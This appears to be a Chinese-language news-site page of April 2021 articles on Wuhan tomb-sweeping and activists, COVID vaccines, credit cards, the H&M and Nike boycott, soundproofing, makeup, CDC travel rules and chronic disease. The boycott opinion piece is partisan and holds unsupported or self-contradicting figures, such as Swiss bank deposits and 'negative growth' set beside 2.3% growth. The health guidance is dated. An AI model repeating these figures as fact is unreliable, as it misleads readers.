大陆媒体网易新闻于4日发表了一篇题为“武汉大暴雨,32万人挤满陵园:人群散去,他们哭了”的文章,随后此文章被删除,内容显示“404”,但此文已在网上被大量转载。

搜索可见文章标题。(网络截图)

这条新闻所写的32万人的数据最初来自《楚天都市报》极目新闻3月22日的报导。报导称3月20、21日两天,武汉迎来清明扫墓的第一波小高峰。该报记者从武汉市各大陵园获悉,周末两天武汉有32万人次入园祭扫。

3月27日~28日,4月3日~4日这两个周末武汉的祭拜人数至今仍未见诸于媒体。不过,知情者发布的消息显示,这两个周末通往陵园的道路更加拥堵。

有网民在微博发文说,清明节第一次见到堵车堵成这样,6点出门开始堵,回程一样堵到大家下车散步了…大概跟今年大年三十晚上武汉买不到菊花一样。中国湖北各地都有在大年初一「烧清香」的习俗,今年除夕,武汉的菊花供不应求,甚至无花可买,当时引发不少人感叹,去年武汉疫情到底死了多少人?

而中国官方宣称,至去年4月16日为止,武汉累计50333人确诊,染疫死亡则是3869人,根据中共民政厅资料,去年第一季,湖北省有逾15万老年人突然从津贴名册上消失,但官方拒绝解释,也禁止媒体和民间统计殡葬资料。

维权人士遭当局打压

武汉市一部分坚持维权、追责当局,要求公布疫情真相的家属们仍然遭到封杀噤声,甚至人被赶出武汉。

武汉人张海,在武汉疫情爆发初期,由于官方隐瞒实情、民众不知真情,张海还特意开车将父亲送到武汉市医院治病,结果其父染疫离世。一年多来,张海坚持维权,以各种方式投诉、控告、起诉武汉当局,要求向全世界公布疫情真相,而遭到中共非法打压。

张海在自己的朋友圈留言表示:“湖北、武汉两级地方政府,不就是想孤立我吗?各方位卡死我吗?继续监听电话,监控微信,明确告诉你们,孤单一人在抗黑的路上我也不可能放弃,生有何欢,死有何惧……你们犯下的罪恶,注定逃脱不了……”

另一位受难者家属杨敏的女儿也因染疫离世。杨敏曾到武汉市政府举牌控诉而遭到威胁恐吓,禁足,噤声。

4月5日零时,她在微博上发帖说:“又一年清明节,拥挤的路走不完冤屈,追魂香盖不尽新起的坟头,压抑不住的哀嚎,真相得不到伸张,这到底是阳世还是阴间?那些杀害自己同胞的刽子手,你们不仅杀害同胞,摧毁一直到现在还没明确数字的家庭、高喊着武汉加油的口号,置武汉人民的生命于不顾,眼睁睁地看着老百姓苦苦挣扎而不作为!披着为人民服务的外衣的牛头马面们,你们才是真正的国贼,汉奸!高唱美丽赞歌做着残害老百姓事的人,才是中国人民的公敌。历史是有记忆的,老百姓是有记忆,冤屈的亡魂也不会放过的!”

杨敏微博发文(微博截图)

责任编辑:无疆行者

 

2021-04-06 / by / in , ,
疫苗改变DNA?网络传言可信吗?有人观望,有人拒绝疫苗;纽约法拉盛华人家庭医生的建议,让你放心去做该做的事

文|他乡月更明

导言:对于疫苗及其副作用,在人群中仍存在很多争议。与其相信网上的各种传言,不如询问自己的家庭医生。作为医学专业人员,他们每天接触各类患者,了解更多的疫情资讯,对于疫苗,家庭医生可给出更专业和权威的说法。

尽管新冠疫情仍在肆虐,但很多美国人对疫苗接种仍保持著一种警惕的心态。

网上有各种有关疫苗的传言。疫情所到之处,传言也如影随形。

传言不一定不好。对新事物保持合理的怀疑,反应了人们的谨慎和理性。人们确实有理由怀疑疫苗的效果:首先,接种者中,出现了个别严重副作用现象。其次,你看,现在美国的疫情并没有减缓。3月份最后一周,全美每天有5.7万个新发感染,如何不让人怀疑疫苗的效果呢?

有些人可能会把现在疫情的蔓延归咎于未接种疫苗者。别忘了:也有已接种疫苗的人,还会感染病毒。

如何看待这些现象?所谓“是药三分毒”,新冠疫苗也摆脱不了这一宿命吗?

接种疫苗,不同的人群有何差异?

截至本周一(4月5日),全美人群已有15%接种了新冠疫苗,总接种量为1.43亿,超过9,300万人至少接种了一剂疫苗,5,100万人完成了疫苗接种。

据凯撒家庭基金会和华盛顿邮报所作的一项全国调查表明:

在3月5-22日之间,在所有人群中,等待观望者占17%,如果要求接种时才接种的占7%,绝不接种的占13%,加在一起,不接种疫苗者比例为37%。

凯撒基金会和华盛顿邮报所作的疫苗接种调查。

甚至是专业医护人员,对接种疫苗的态度也表现出极大的差异。

一线医疗保健人员中,到3月份早期,只有超过52%的人接种了至少一剂疫苗,还有48%的人未接种;

在医院工作的人,接种比例大约为66%;

门诊人员接种比例为64%;

医生办公室和在养老院的医护人员,接种比例为52%;

辅助医疗机构接种比例为50%;

家庭保健人员中,仅有26%的比例接种了疫苗。

医疗保健人员中,由17%的人,绝对不接种疫苗;有6%的人表示除非要求必须接种,他们才会接种;还有14%的人在等待观望。加在一起,不接种疫苗的人,比例高达37%。

在接种疫苗的态度上,两党之间的差异,也被查了出来。

共和党中,已接种者占27%,想尽快接种的占19%,观望的19%,要求时才接种的占6%,绝不接种的占29%。

民主党中,已接种的占42%,尽快接种的占37%,观望的占11%,要求时才接种的占2%,绝不接种的有3%。

疫苗接种率不可能最后达到100%,因为确实不是每个人都适合接种,有些人也确实出现了较强的反应。好在这是美国,人

在纽约法拉盛医生办公室,华人医生怎么看疫苗?

现在,纽约疫苗接种比例已达28.2%,但疫情仍然很严峻。仅4月3日当天,纽约市就新确诊病例3,688人。

纽约法拉盛华人家庭医生郭晓军医学博士。

华人家庭医生郭晓军博士的诊所,在全美华人最集中的纽约市法拉盛地区。除一名护士外,郭医生和其他医护人员均接种了疫苗,他描述了自己接种疫苗后的身体反应,“不明显,打第一针时有点痛,第二针比第一针更痛一些。诊所其他人,接种后,有的起点皮疹,有的有点脱皮,还有一个有点发烧,请了一天假,也有一个难受了几天。”

郭医生一直在密切观察疫情流行和疫苗接种状况,据他了解,CDC一直在收集关于疫苗接种的各种数据,观察打疫苗后的副作用。

他说,“任何疫苗都存在副作用,比较罕见的是那种过敏反应,这比较严重。只有极少数人有这种反应。”

虽然有副作用,但郭医生仍看好美国的疫苗:“美国的疫苗有效率高达90%以上,而中国出产的那种灭活式疫苗,相比之下,技术更“古老”一些。”

CDC官网的显示,部分人员在疫苗接种后,副作用通常在接种24-72小时内出现,大部分副作用出现在第二针之后,一般几天后副作用就会消失。

但CDC也强调,如果接种后出现咳嗽、气短、嗅觉或者味觉消失,这不是疫苗的副作用,可能是病毒感染,这要与疫苗注射的副作用分开。

疫苗会改变人体的DNA吗?

疫苗会不会改变人体的DNA?网上有这类传言,令很多人担心。

郭晓军医生:任何疫苗都存在副作用,比较罕见的是那种过敏反应,这比较严重,但只有极少数人有这种反应。也有一些患者,因其它健康原因,可能一时不适合打疫苗。可与家庭医生具体咨询。

郭医生认为疫苗不可能改变人体细胞内的DNA,因为DNA储存在细胞核内,疫苗物质无法进入细胞核。

CDC也在官网上重申:Covid-19疫苗不会改变人体DNA,也不会与DNA相互作用,改变基因程序。进入细胞的那部分物质在72小时后,就会降解。

康奈尔大学科学联盟小组客座研究员马克·利纳斯,在接受路透社采访时也表示,不存在可以改变人体DNA的疫苗。他认为,反新冠疫苗接种活动者经常故意散布这些谣言,以故意造成混乱和不信任。

郭医生说:“已经有数千万人接种疫苗,现在的数据表明:这个疫苗,一是有效,二是很安全。”

至4月6日,美国已有1亿830万人接种了至少一剂疫苗。

他建议:能打疫苗的尽量打,不论是辉瑞的还是莫德纳的,只要有机会,就去打疫苗。因为打一针,就会产生有保护力的抵抗水平,打两针效果更好。当然,强生疫苗一针就可达到很好的效果。

据郭医生了解,这几种疫苗对变异病毒也有预防效果,但效果会打些折扣。

郭医生介绍,人体通过接种疫苗产生的抗体,要优于通过感染产生的抗体。通过感染产生的抗体,一般3个月后就会衰竭。而通过疫苗产生的抗体,是一种专门设计的技术蛋白,更有针对性,效力也会更持久。
这也解释了在纽约的老人院,为什么那些接种了疫苗的老人们在目前的疫情下,感染率会普遍低于年轻人,因为他们普遍接种了疫苗。

很多人担心,接种疫苗后可能出现过敏。有办法防止过敏吗?

郭医生建议,根据自己的体质,如果担心过敏,在接种之前可以先吃药预防。如果有急性反应,可以使用抗组胺药物治疗。

他介绍,为防止万一,疫苗接种地点一般会储备一些抗过敏药物。接种后不要急于离开,观察15-30分钟。有医护人员在场,可及时处理突发情况。

2021-04-06 / by / in , , , , ,
新办的银行信用卡,首先应该做什么?很实用也很重要!

/小庆

我们在收到银行寄来的信用卡后,为了方便信用卡的日后使用并保障信用卡账户安全,我们首先应该做以下10件事。

1、检查信用卡卡面上的信息

在收到银行寄出的信用卡后,要及时检查信用卡卡面上的信息,如:姓名。常见的姓名问题有:

  • 拼错
  • 无故多了个空格
  • 姓和名颠倒

如果发现信用卡卡面上的信息有问题,请立即致电信用卡背后的银行电话,要求更新信息,并重新寄卡。

2、信用卡激活

在确认信用卡个人信息无误后,应尽早激活新收到的信用卡。银行会在寄来的信上标明激活的方式。或在信用卡卡面上贴上激活方式。常见的激活方式有:

  • 致电
  • online

除了新申请的卡外,更换信用卡时也需激活再使用。

 

3、注册(online)账号

随着信息技术的进步,之前许多必须到银行柜台才能完成的事情,现在通过手机或者电脑即可解决。欲享用方便的online banking(网上银行业务),须先注册(online)账号。不同银行的注册流程大同小异,在银行官网注册即可。注册账号后,请牢记账号名和密码,并妥善保管。

4、检查注册online)账号的个人信息

在建立online(注册)账号后,须检查个人信息是否正确,包括姓名、地址、生日和联系方式等。以免填错重要的银行信息。有些银行的个人信息更改需要提交证明,建议致电卡背后银行电话咨询详情。

5、开启账户alert警报)

我们在使用信用卡过程中,最担心的就是被盗刷,尤其是被盗刷了自己还不知道。那么怎样预防信用卡被盗刷呢?

首先我们要在online(注册)账户上开启消费alert警报)提醒。将有助于及时了解信用卡的使用情况。

常见的alert警报)方式有:

  • 短信elert
  • 手机App推送alert警报)
  • email alert(电子邮件警报)

常见的alert警报)内容有:

  • 消费
  • 单笔消费大于一定金额
  • 可用余额过低
  • 最新账单生成
  • 还款截止日期
  • 还款成功/失败

除了消费alert警报)之外,有些银行还可开启低额度,还款截止日期等实用alert警报),能够提醒按时还款,避免罚款和高额利息。

6、下载手机app

在注册online(注册)账户后,即可享受online banking(网上银行业务)带来的便利。若想随时随地掌控账户信息,以及其他更多功能,建议下载银行手机App。

银行手机App上,除了能看到账户信息外,还可进行下列实用操作:

  • 还款
  • 查看历史账单
  • 冻结账户,保护账户安全
  • 管理/设置alert
  • 查看信用卡提供的福利

7enroll(注册)信用卡福利

许多信用卡的福利,都需要在收到卡后enroll(注册),方可使用。这些福利的enroll(注册)基本都可在online banking(网上银行业务)上完成。

8enroll(注册) 电子账单(paperless

据报道,人类每年砍伐掉大片的森林用于造纸,而银行账单由于其庞大的基数,是纸张浪费的一大来源。

目前绝大部分银行都提供电子账单,也可根据客户要求提供纸质账单。许多人在收到纸质帐单后,由于一般都选择网上还款,会直接把银行纸质账单丢弃。

因此建议在收到信用卡后,选择enroll paperless statement(无纸化声明),以节省用纸,避免浪费。

选择paperless(无纸化)的好处:

  • 节省纸张,拯救森林
  • 避免账单丢失,泄露个人信息/隐私
  • 减少纸质文件管理的需求
  • online(注册)随时查看历史账单,按需要随时要求银行寄纸质账单

9、信用卡背后银行联系号码

虽然越来越多的业务可自助online(注册)办理,有时候还需联系银行解决一些问题。

在收到信用卡后,建议在手机上储存信用卡背后的银行联系电话,以便日后跟银行联系。尤其是在发现信用卡丢失或被窃后,能尽快联系上银行,能够尽最大限度的减少信用卡被盗刷的风险。

除了紧急事件外,有些信用卡的福利也是通过致电来使用的,如运通银行提供的每年4次免费道路救援,就需要致电运通银行告知详细的位置、车辆、所需服务等信息来进行的。

10enroll(注册) autopay(自动还款)

为了避免信用卡忘记还款,可以设置auto-pay。Auto-pay可以设置自动还款的日期和金额。

如不能全额还款,建议设置auto-pay 为”minimum payment(最低支付)”。只要支付了最低还款金额, 即可避免出现late payment(逾期付款)这种严重影响信用记录的事件发生。

结语:

近年来,许多大商家等机构被曝出用户数据被泄露的事件,所泄露的信息中就包括用户的完整信用卡信息,甚至还有黑客在网上叫卖这些信息的。给大家的财产带来了很大的风险。我们除了设置alert(警报)外,定时更换卡号也能大大降低银行卡被盗刷的风险。希望大家的银行账户能够安全的使用。

2021-04-06 / by / in , , , ,
中共假借民意抵制洋货的十大负面影响

文/古风

长期以来,中共习惯把国人抵制洋货运动当作外交工具。如:借钓鱼岛事件抵制日货;借韩国萨德事件抵制韩货等。2020年3月,H&M集团曾发布一则有关中国新疆棉花的“尽职调查”声明,称对新疆少数民族被强迫劳动和受宗教歧视的报道表示关切。事隔1年后,这一声明突然遭到环球时报总编胡锡进和共青团中央官方微博的猛烈抨击,指责该品牌散布谣言、抹黑中国。还称:别指望又吃中国饭,还砸中国锅。由此引发中国网民(大多数都是中共网络水军)大规模抵制洋货。可见,这次抵制洋货运动是由中共官方发起。据《苹果日报》报道,少数网民还在微博上贴出“火烧耐克球鞋”泄愤的短片、或者手持抵制纸牌,只身前往H&M分店抗议的支持照片,被该报刊形容为“义和团”式的反西方热潮。然而,这种行为不仅伤害投资者,而且还将给中国带来巨大的负面影响。

中共假借民意抵制洋货的十大负面影响

  1. 影响2022年北京冬奥会

据新浪网3月31日报道,由于新疆棉花事件继续发酵,中国多个城市的H&M实体店面被业主关停,目前还不清楚店面会关闭多久。之前这家服饰品牌已经遭中国电商平台下架。

据万维读者网3月30日报道,长期以来,Nike、耐克等国际品牌都是北京冬奥会的赞助商,Nike还分别与中国国家足球队、中国篮协、中国田径协会等单位签下10年以上的合约,中国当红的运动球星也大多为Nike代言。尽管有中国网友强烈要求与Nike解约,但中国体坛官员至今仍对新疆棉事件保持缄默,持续等待中国国家体育总局的指示,若贸然解约,将会直接影响明年的北京冬奥会。

  1. 影响中国经济增长

据新华社2021年1月18日报道,中国国家统计局公布了2020年度经济数据,GDP总量首次突破100万亿,年度经济增长率为2.3%。相比2019年度经济增长率的6%回落3.7%。港澳台商企业投资增长4.2%,增速回落0.3%;外商企业投资增长10.6%,增速回落0.6%。截至2020年末,全国政府债务余额46.55万亿元,政府显形负债率为45.8%。2021年经济社会发展主要预期目标中,将国内生产总值增长目标设为6%以上。

从上述数据可以看出,受新冠疫情和中美贸易战的双重影响,中国去年的经济指标面临负增长。如果任由抵制洋货运动继续发酵,必将对中国经济发展带来全球性的负面影响。

  1. 影响“一带一路” 项目 进展

“一带一路” 是中国近10年来最大的国际投资项目。据路孚特BRI数据库最新数据显示,“一带一路”项目沿线涉及到65个国家,截至2020年一季度末,已规划或在建的“一带一路”项目共计3164个,总金额达4万亿美元。

路孚特数据显示,受疫情和中美贸易战影响,许多国家的“一带一路”项目正处于搁置或取消或状态。如果中国抵制洋货运动继续发酵,不仅会给“一带一路”项目落地带来困难,而且还有可能影响亚投行的正常运转。

  1. 影响中共的对外形象

受香港、新冠疫情、中美贸易战、中国人权等问题影响,中共在国际上就像一只过街老鼠。为挽回败局,中共每年都投入巨资用于大外宣。据红豆网报道,截止2020年12月,中共在海外的大外宣华文媒体就达400多家;长期合作的大外宣外文媒体近千家,其合作范围遍布全球五大洲61个国家和地区。

在经济全球化的今天,中国抵制洋货运动,这显然与中共领导人在国际上高调倡导的“人类命运共同体” 理念自相矛盾。如果中国抵制洋货运动继续发酵,不仅有损中共领导人个人的国际形象,而且还將影响中共的对外形象。

  1. 影响中美关系

    众所周知,近几年来,受中美贸易战和新冠疫情的影响,中美两国关系日益紧张。

据新华社报道,2月11日,中国国家主席习近平同美国总统拜登通电话,就双边关系和重大国际及地区问题深入交换意见。习近平在与拜登通话时说:“过去半个多世纪,国际关系中一个最重要的事件就是中美关系恢复和发展。中美合则两利、斗则俱伤,合作是双方唯一正确选择。中美合作可以办成许多有利于两国和世界的大事,中美对抗对两国和世界肯定是一场灾难。”

可见,中共方面迫切希望中美关系尽快得到改善。然而,此次中国抵制洋品牌的主角耐克又是美国家喻户晓的运动品牌,也是美国的纳税大户。如果此次抵制洋品牌运动持续升级,必将使中美关系更加雪上加霜。

  1. 影响中共官员个人财产安全

据多维新闻网报道,2019年4月17日,瑞士银行公布了一则令人震惊的消息,仅仅100位中国人在瑞士银行的存款就达7.8万亿人民币(约1.1万亿美元)。据知情人透露,在这100位中国储户中,绝大部分都是中共官员及其家属。

H&M官网显示,H&M于2007年正式进入中国市场,主要销售服装和化妆品。H&M在全球开设近5000家店铺。其中,中国内地有445家门店。H&M在瑞士及欧盟都具有很大的影响力。

中国驻瑞士大使馆官网显示,近几年来,瑞士外交部曾多次就香港反送中和新疆集中营事件发表声明,中共对此表示极为不满。按照《国际经合组织负责任的商业行为准则》,H&M此次拒购新疆棉完全是合法行为。如果中国此次抵制洋品牌运动持续升级,必定会再次激怒瑞士政府,一旦瑞士方面盛怒之下將中共官员在瑞士银行的存款信息“不慎泄露” ,必将会引发中国社会动荡,这是中共无法承受的。

  1. 影响中国地方政府招商引资

受中美贸易战和新冠疫情影响,中国各地方政府招商引资工作全面陷入困境。据《经济参考报》3月24日报道,各地方政府为了完成上级下达的招商引资任务,许多地方政府都采取“全员招商”的老办法。具体做法是政府发文件、摊派招商指标、搞招商成绩排名,一些产业基础薄弱的乡镇每年也要完成3000万元的招商任务。甚至连公安局、法院、检察院、妇联、教育局、工会等机关都有招商任务,而且还把招商引资任务纳入个人的政绩考核指标,“一季一排名”的考核评价压力,让各级官员都陷入困境。但这种强行摊派的做法又并没有如愿吸引到外商投资。

从媒体报道中可以看出,中国各地方政府招商引资都非常困难,如果中国抵制洋品牌运动持续升级,这不仅会给各地政府招商引资带来负面影响,而且还会让一些国际品逃离中国。这种结果是中国政府难以承受的。

  1. 影响中共对外统战

按照中共中央办公厅2020年9月印发的《关于加强新时代民营经济统战工作的意见》规定,外商投资企业是统战工作的重点对象。按照这个《意见》规定,&M、耐克、优衣库等国际品牌应该是中共统战的重点对象。

如果中共继续把抵制洋货运动当作一种政治工具的话,不仅中共的对外统战工作会受影响,而且还有可能把一大批外商投资企业推到中共的对立面。

  1. 影响习近平连任

评价一个国家领导人的政绩有两项大指标:一是內政安定;二是外交和谐。而中国抵制洋货运动既影响中国的经济社会稳定,又影响和平外交。习近平执政9年来,其政绩本来就乏善可呈,如果中国的内政和外交问题还將继续恶化,必定对他明年的连任产业负面影响。

  1. 影响中国就业

据澎湃新闻网报道,2020年5月23日,中共出台“六稳六保”政策。即:稳就业、稳金融、稳外贸、稳外资、稳投资、稳预期工作;保居民就业、保基本民生、保市场主体、保粮食能源安全、保产业链供应链稳定、保基层运转。由此可见,无是六稳,还是六保,就业问题都是摆在中国问题的第一位。

据中国新闻网2020年12月14日报道,受疫情和中美贸易战的影响,2020年中国大学毕业生总数近900万,较去年增加了56%。但企业对于应届生的招聘需求同比下降22%。在多重的因素的影响下,2020年成为了史上最难的就业季。

如果中国抵制洋品牌运动持续升级,必然会导致一大批外资企业逃离中国,这将给中国就业问题带来更大的压力。

中共借假网络民意当外交工具可耻

从此次中国抵制洋品牌事件来看,这完全是中共借假民意当外交工具的流氓行为。中国网民都非常清楚,共青团中央就是中共网络水军的大本营。据香港明报2019年4月6日报道,共青团中央成立了一支青年网络志愿者(水军)队伍,这支队伍的人数超过了1050万人,而高校是招揽重点,其中香港中文大学深圳分校被分配的名额是100人,广州中山大学则高达9000人。

据BBC中文网报道,从3月24日开始,有关H&M与新疆棉花的帖子就是共青团中央微博最先发帖,截止25日中午,该贴已有超过41万人点赞,逾4万人转载,1.6万人评论。

而共青团中央微博炒作H&M拒购新疆棉花的前一天(3月23日),正是美国、欧盟、英国与加拿等30个国家就新疆人权问题对中国官员实施制裁。可见,这次中共不顾国际影响,假借网络民意打击H&M、耐克等品牌是一次外交报复行为。

2021-04-05 / by / in , ,
在家工作真吵 为房屋隔音 3种方式3种预算

文| 懂你的小伙伴

俗话说:「沉默是金。」

在家工作,被孩子吵得不行,快崩溃了。 (pexels)

如果你遇到吵闹的邻居、然后是天天吠叫的狗、建筑噪音、垃圾车,汽车喇叭和在街上玩耍的孩子⋯⋯你会发现要获得片刻安静,是多么不容易的事。如今,在家工作变得很普遍,每位家人都会希望有一个属于自己适合工作、适合静下来的片刻。房屋隔音(Soundproof)成为一件不可轻忽的工作。

无论您居住在郊区还是城市,无论您的预算如何,都可以使您的房屋免受各种噪音的干扰。

在家工作,家人之间需要各自安静的空间,隔音问题很重要。 (摄图网)

当然,戴上降噪耳机或许是一个快速得到安静的方式,不过有谁想整天戴耳机,时间长了都会不舒服。或许,以下隔音方法可帮助您每天在家中获得平静。

房屋隔音Soundproof 低预算的选择:借助小工具

薄的墙壁或窗户有时无法起到保护房主免受外界噪音影响的作用。但是有一些负担得起的方法可以解决这个问题。

麻州剑桥市Acentech建筑声学小组的负责人本杰明·马克汉姆(Benjamin Markham)表示:“要降低家里的噪音,您可以做的一件快速、便宜的事——增加您的环境声音。”, “这可能是通过播放音乐、购买白噪播放器(white noise machine)*(亚马逊上售价45美元,)或打开电视来实现。”

*注:白噪播放器是一种播放随机性声音的装置。这种声音听起来像小溪流水的声音,像风吹打树叶的声音。用以辅助睡眠和打盹产品播放舒心的声音,如音乐、雨滴声、风声、海浪声,或者和白噪声掺杂在一起。白噪声播放器也用来缓解耳鸣。 (维基百科)

居家专家David Steckel说,通常也可以通过家居的物品来达到减少声音的介质传递,例如地毯、家具和壁挂物品的纹理等。

Steckel说,这使得“声波很难与墙壁、地板或天花板相连“。就好像是有一种”降噪窗帘(Noise-reducing curtains)(亚马逊上约26美元)“还可以帮助阻挡来自窗户的声音。

The Home Depot趋势与设计总监Sarah Fishburne说,在房间中增加一些简单的东西(例如增加家具)也将有助于阻挡声音。

在纽约、新泽西州和康涅狄格州提供隔音解决方案的Ronan Blee说:“风挡条(Weatherstripping)可用于密封门窗上,所有可能传播外界噪音的缝隙”,“还可以在墙壁上涂上防音漆(Soundproof paint )(亚马逊,45美元以上),以最大程度地减少噪音的传播。”

隔音工程 中预算选项:从地板、窗户改善

有时需要花费更多,才能真正降低噪音。

木地板底下要有地板衬垫以防止声音与潮湿问题。 (摄图网)

如果您已采取基本步骤来使您的房屋隔音,但还是不够时,Ronan Blee建议安装地板衬垫(Floor Underlayment)(100平方英尺$ 50,Home Depot)以隔离声音,并帮助减少结构噪音,例如走道、物品掉落在地板上或椅子在地板上滑动的声音。 ”

Blee补充说,地毯、硬木或瓷砖可以安置在地板衬垫之上。

Sarah Fishburne说,另一个中等预算的选择是升级门窗。根据您所需的大小,隔音窗户的价格在500美元到1,200美元之间。

您还可以聘请隔音专家在干砌墙层之间安装的隔热材料和隔音化合物,例如Green Glue隔音密封剂(亚马逊,126美元)。

以上施工尽可能寻找有执照的施工团队,才能确保施工品质。切记千万不要找价格最低的,施工中坑钱的机会很大,到时找不到人给你完成工作,那麻烦会更大。

隔绝噪音 高预算选项:窗户、墙壁大升级

有时,需要采取更积极的措施来消除恼人的噪音。

Fishburne说:“有了更高的预算,您就可以真正为房屋的各个方面隔音。”

Benjamin Markham建议,在窗扇的内侧或外侧安装辅助玻璃窗,也称为防风窗。

Markham说:“窗户通常是住宅隔音中的弱点,而第二层玻璃可以大大地解决这一问题。”

由于您实际上是要安装第二个窗户,Markham说,根据玻璃的类型和厚度,它的成本将比同一个开口的新窗户的成本低一点。

房屋隔音工程,施作隔音墙面。 (摄图网)

另外,Steckel表示,那些预算较充裕的人,可以有更完整的解决方案,在其现有的墙面(drywall)的顶部安装一些QuietRock,并使用弹性轨道(resilient channel)和隔音夹(soundproofing clips) ,因为这样可以减少大部分声音传递。他说房主可以自己安装,但是他强烈建议雇用专业人士。

Steckel说:“Lowe’s的QuietRock 510的成本约为每张半英寸厚,4 x 8英尺的面板54美元,加上泥浆、胶带和螺钉的成本,约为每平方英尺1美元,”。

Steckel说:“有一个更好的选择——从零开始重建墙壁,使用适当Roxul隔音螺栓、缝隙处的隔音密封剂、窗户处的泡沫喷涂和QuietRock干墙系统以从内部隔绝声音。”

他说,安装这样一个墙面的平均价格范围可能在2500美元到6100美元之间。

隔音工程做得好,安静工作没问题! (pexels)

平均全国每块面板的干墙安装成本在30到60美元之间,包括材料和人工成本。升级到QuietRock和Roxul,最终将使成本翻倍,但与普通的半英寸板和玻璃纤维相比,声音衰减效果会有所改善。

进行这些高预算隔音方案时,强烈建议你寻找专业施工团队。

2021-04-05 / by / in , , , ,
Colourpop x 小鹿斑比联名彩妆 可爱萌翻少女心

文|美颜小伙伴

欧美人气彩妆品牌Colourpop和迪士尼联名合作再一波,这次以迪士尼动画《小鹿斑比》(Bambi)为主题,推出全新彩妆系列,清新的草绿色包装,洋溢满满的春天气息!

Colourpop x小鹿斑比联名彩妆系列

Colourpop x小鹿斑比联名彩妆系列共有11款新品。(Colourpop官网)

Colourpop x小鹿斑比联名系列共有11款新品,包含眼影盘、眼线笔、蜜光唇釉、假睫毛、粉扑,并融入动画中的角色元素,例如小鹿斑比(Bambi)、兔子桑普(Thumper)、臭鼬花儿(Flower),不但可以打造春日小清新妆容,可爱的外型也令人少女心爆发。

Bambi / Thumper / Flower五色眼影盘

3款五色眼影盘,以动画中的角色为名。(Colourpop官网)

Bambi眼影盘,百搭的大地棕色系,适合日常妆容。(Colourpop官网)

3款五色眼影盘,以Bambi、Thumper、Flower为主题。Bambi眼影盘的配色,和小鹿斑比的花纹类似,百搭的大地棕色系,非常适合日常妆容;Thumper眼影盘以灰色调为主,拥有香槟粉色、浅绿色、深紫色三款闪亮色系,以及两款淡紫色哑光,适合打造气质妆容;Flower眼影盘以粉紫色为主,搭配象牙色和炭黑色点缀,哑光和珠光的眼影配搭,令眼妆更有层次感。

Thumper眼影盘,以灰色调为主,适合打造气质妆容。(Colourpop官网)

Flower眼影盘,以粉紫色为主,哑光和珠光的配搭,令眼妆更有层次感。(Colourpop官网)

Meadow / Purty / Raindrops眼线笔

3款眼线笔,分别有哑光和金属光的效果。(Colourpop官网)

3款眼线笔的配色,分别有哑光和金属光的效果,Meadow是哑光的米色,Purty是哑光的酒红色,Raindrops则为柔和的樱花粉色中融入金属光。

值得一提的是,米白色眼线笔涂在眼头和卧蚕时,眼睛有放大效果!浅色和深色眼线笔叠加使用,眼妆层次更有变化。

滋润的3款蜜光唇釉

3款蜜光唇釉,是常见的裸色、玫瑰粉色和薰衣草色,质感非常滋润。(Colourpop官网)

Bambi蜜光唇釉:裸色。(Colourpop官网)

3款蜜光唇釉,则是常见的裸色、玫瑰粉色和薰衣草色,质感非常滋润,让唇色散发淡淡的微光,建议和其它唇膏叠擦使用,不仅增加珠光感,显色效果也更加明显。

Thumper蜜光唇釉:玫瑰粉色。(Colourpop官网)

Flower蜜光唇釉:薰衣草色。(Colourpop官网)

Oh Deer假睫毛

Oh Deer假睫毛,纯素主义者可安心使用。(Colourpop官网)

想拥有水汪汪的大眼睛吗?这款名为Oh Deer的假睫毛,以100%人造纤维制成,纯素主义者也可以安心使用。它具有饱满、轻盈的睫毛效果,一眨一眨、大眼汪汪的可爱模样,让人想起动画中的小鹿斑比。

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Morning Light亮粉粉扑。(Colourpop官网)

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Colourpop长期和迪士尼合作,曾推出多款经典动画的联名系列,例如冰雪奇缘、阿拉丁、美女与野兽、花木兰等,曾多次瞬间断货,这次的小鹿斑比彩妆系列,已于2月25日在colourpop.com、3月14日在ulta.com开卖。

官网连结:https://colourpop.com/collections/bambi

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2021-04-04 / by / in
CDC最新:完全接种疫苗 可以恢复境内外旅游 无须检测隔离

【金牌网讯】美国疾病控制与预防中心(CDC)认为,完全接种疫苗后可降低旅行风险。2021年4月2日, CDC更新了旅行指南,放宽了对完全接种新冠疫苗人士的旅行限制。

• 完全接种新冠疫苗的人士可以恢复境内旅游,无须在旅游前后进行新冠检测,也无须在到达目的地后隔离。
• 完全接种新冠疫苗的人士离开美国前无须进行新冠检测(除非目的地有要求),重回美国后也无须隔离。

以下两种情况被CDC视为完全接种新冠疫苗:

•打完辉瑞疫苗或Moderna疫苗的第二针,再过两周后。
•打完强生疫苗第一针,再过两周后。

美国疾控中心仍不建议尚未完全接种疫苗者非必要旅行。对完全接种了疫苗的旅行者,则建议继续戴口罩,保持两米的社交距离、勤洗手,并避免过于拥挤的人群。

(图片来自于CDC官方网站。)

文|无疆行者

2021-04-04 / by / in , , ,
三高问题普遍 紐約华人家庭医生吁重视

文|雨荷

经典「哆啦A梦」是太多人心中不败的卡通,但负责哆啦A梦第一代配音员富田耕生,2020年9月27日被证实因脑中风在家中过世,享寿84岁,让不少普遍动漫迷感到难过!而并非今年第一个因脑中风过世的名人,而导致中风的幕后凶手竟是“三高”!

根据是世卫调查研究,当今人类社会十大死因中,其中最主要的危险因素就是高血压、高血糖及高血脂等“三高”。

今天给大家请来了内部科及重症治疗方面有非常丰富的临床经验纽约家庭医生——宋瑾医生,请她跟大家好好了解三高原因以及定义,趁早预防更胜于治疗!

宋醫生的診所是法拉盛家庭内科诊所。

一.什么是三高?

1.高血压的:收缩压超过140 mmHg,或者舒张压超过90 mmHg。
2.高血糖的定义:空腹时血糖值超过126 mg / dl,或随机血糖超过200 mg / dl并伴有糖尿病的症状。
3.高血脂的定义:总胆固醇值大于200 mg / dl以上,或LDL(低密度脂蛋白;坏的胆固醇)值大于130 mg / dl以上,或HDL(高密度脂蛋白;好的血浆)值低于40 mg / dl以下,或TG(三酸苷油脂)值大于150以上。

二.为什么会得三高呢?

宋医生指出,中医认为,人的体质可分为平和质、阳虚质、阴虚质、气虚质、血虚质、痰湿质、湿热质、血瘀质、气郁质及特禀质几种类型。然而,各种体质的人都可能患三高,不限于任何体质,体型和年龄。

三.如何预防三高?

要维持良好的血压、血糖和血脂指数,关键在于预防与调养。宋医生建议从几方面着手:

1.体重控制:计算身体的BMI值(体重(kg)/身高(m2)),若BMI> 27即是肥胖。另一方式为测量腰围,正常男性腰围应在90cm以下,女性腰围应在80公分以下。
2.饮食控制:要均衡饮食,把握少油、少塩、少糖和高纤维,三少一高的原则。食物试图清淡。忌暴饮暴食,可多吃新鲜有营养的蔬菜水果,适量吃瘦肉,也应注意食量及加入的摄入量。
